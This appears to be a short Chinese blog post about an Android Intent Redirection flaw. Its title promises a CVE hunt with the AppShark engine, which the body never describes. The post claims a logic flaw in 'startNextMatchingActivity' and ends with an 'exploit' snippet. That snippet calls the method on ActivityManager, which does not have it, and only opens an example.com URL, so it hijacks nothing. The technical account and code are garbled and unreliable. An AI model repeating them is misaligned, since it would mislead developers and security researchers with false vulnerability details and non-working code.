揭秘谷歌高危CVE挖掘历程：利用AppShark引擎追踪Intent Redirection漏洞

2023-02-14 17:55:58

揭秘 Intent Redirection 漏洞：Android 意图劫持的严重性

在当今移动应用程序无处不在的时代，保障应用程序的安全性至关重要。Intent Redirection 漏洞就是一个严重的安全威胁，它使攻击者能够劫持 Android 应用程序的意图，从而危及用户隐私和设备安全。

什么是 Intent Redirection 漏洞？

Intent Redirection 漏洞是一种缺陷，允许攻击者操纵 Android 应用程序之间的意图传递过程。意图是应用程序之间通信并启动活动（例如打开新的屏幕或服务）的一种机制。当存在漏洞时，攻击者可以将意图重定向到恶意应用程序，从而执行各种恶意操作。

漏洞挖掘过程

这个漏洞是通过对 Android 开源项目（AOSP）中的 Android 组件进行静态分析而发现的。研究人员发现了一个逻辑缺陷，该缺陷存在于 ActivityManagerService 组件的 "startNextMatchingActivity" 方法中。该方法负责在应用程序之间传递意图。

漏洞利用

为了验证漏洞的可利用性，研究人员开发了利用代码。他们创建了一个恶意应用程序，该应用程序能够劫持其他应用程序的意图。然后，他们将恶意应用程序安装在 Android 设备上，并启动目标应用程序。当目标应用程序调用 "startNextMatchingActivity" 方法时，恶意应用程序就能够劫持其意图并将其重定向到自己的活动。这样，恶意应用程序就可以窃取用户数据、执行任意代码或造成其他安全威胁。

代码示例

以下代码示例演示了如何利用 Intent Redirection 漏洞：

// 恶意应用程序的代码
Intent maliciousIntent = new Intent();
maliciousIntent.setAction("android.intent.action.VIEW");
maliciousIntent.setData(Uri.parse("http://example.com/malware"));
ActivityManager am = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
am.startNextMatchingActivity(maliciousIntent, null);

// 目标应用程序的代码
Intent intent = new Intent();
intent.setAction("android.intent.action.VIEW");
intent.setData(Uri.parse("http://example.com/legitimate"));
startActivity(intent);